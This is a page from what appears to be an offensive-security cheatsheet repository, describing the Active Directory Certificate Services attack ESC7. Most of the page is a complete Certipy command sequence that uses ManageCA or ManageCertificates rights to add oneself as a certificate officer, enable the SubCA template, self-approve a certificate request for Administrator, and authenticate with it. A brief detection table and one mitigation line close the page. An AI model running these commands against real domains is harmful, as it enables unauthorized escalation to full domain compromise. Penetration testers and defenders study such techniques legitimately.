repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-32-esc7-vulnerable-ca-officer-permissions.mdMarkdown121 lines4.7 KiBsource raw download

title: "Attack #32 β€” ESC7 Vulnerable CA Officer Permissions" description: "ESC7 exploits overly permissive CA permissions. If a low-privileged user has ManageCA rights on the Certificate Authority, they can grant themselves…" category: active-directory subcategory: "ADCS & Certificates" tags: ["active-directory", "adcs", "privilege-escalation"] tools: ["Certipy"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Four/🟒 Attack #32 β€” ESC7 Vulnerable CA Officer Permissions.md"#

🟒 Attack #32 β€” ESC7: Vulnerable CA Officer Permissions#


πŸ“– How It Works#

ESC7 exploits overly permissive CA permissions. If a low-privileged user has ManageCA rights on the Certificate Authority, they can grant themselves ManageCertificates (Certificate Officer) rights, then approve their own failed/pending certificate requests β€” including requests for the SubCA template, which grants full CA-level authority.

Two Sub-Variants#

Variant Permission Exploitation
ESC7a ManageCA Self-grant ManageCertificates β†’ approve own requests
ESC7b ManageCertificates Directly approve pending/failed requests

Attack Flow (ESC7a β€” ManageCA)#

1. Have ManageCA permission on the CA
2. Grant yourself ManageCertificates via CERTSRV.MSC or Certipy
3. Enable the SubCA template (if not already enabled)
4. Request a certificate using the SubCA template (will fail initially)
5. Use ManageCertificates to approve the failed request
6. Retrieve the issued certificate
7. Authenticate as any user

βš™οΈ Prerequisites#

Requirement Detail
ManageCA or ManageCertificates on CA Check CA permissions
Domain user account Principal with overly permissive CA rights

πŸ’» Full Commands#

πŸ”΄ ESC7a β€” ManageCA β†’ ManageCertificates β†’ SubCA#

# ── Step 1: Add yourself as officer (grant ManageCertificates) ────────────────
certipy ca -u low_user@corp.local -p 'Password1' -ca CORP-CA \
  -add-officer low_user -dc-ip 10.10.10.10

# ── Step 2: Enable SubCA template ────────────────────────────────────────────
certipy ca -u low_user@corp.local -p 'Password1' -ca CORP-CA \
  -enable-template SubCA -dc-ip 10.10.10.10

# ── Step 3: Request SubCA certificate (will fail β€” needs approval) ───────────
certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \
  -template SubCA -upn Administrator@corp.local -dc-ip 10.10.10.10
# Note the Request ID from the output (e.g., Request ID: 42)

# ── Step 4: Approve the failed request (using ManageCertificates) ────────────
certipy ca -u low_user@corp.local -p 'Password1' -ca CORP-CA \
  -issue-request 42 -dc-ip 10.10.10.10

# ── Step 5: Retrieve the issued certificate ───────────────────────────────────
certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \
  -retrieve 42 -dc-ip 10.10.10.10

# ── Step 6: Authenticate ──────────────────────────────────────────────────────
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

πŸ”΄ ESC7b β€” ManageCertificates Direct#

# ── If you already have ManageCertificates, skip the officer step ─────────────
# Request + approve flow is the same as steps 3-6 above
certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \
  -template SubCA -upn Administrator@corp.local -dc-ip 10.10.10.10

certipy ca -u low_user@corp.local -p 'Password1' -ca CORP-CA \
  -issue-request <ID> -dc-ip 10.10.10.10

certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \
  -retrieve <ID> -dc-ip 10.10.10.10

certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

πŸ›‘οΈ Detection β€” Event IDs#

Event ID Source What to Look For
4890 Security Log (CA) CA security settings changed (officer added)
4886 Security Log (CA) Certificate request for SubCA template
4887 Security Log (CA) Certificate issued after manual approval

πŸ”— Attack Chain Context#

[ESC7] ──→ CA permissions abuse β†’ approve own requests β†’ domain compromise
         β”‚
         β”œβ”€β”€β†’ πŸ”‘ ManageCA β†’ self-grant ManageCertificates β†’ approve SubCA requests
         β”œβ”€β”€β†’ πŸ”— SubCA cert = full CA authority
         └──→ πŸ’€ Defeated by: restrict ManageCA/ManageCertificates, audit CA permissions

βœ… Attack #32 β€” ESC7 complete.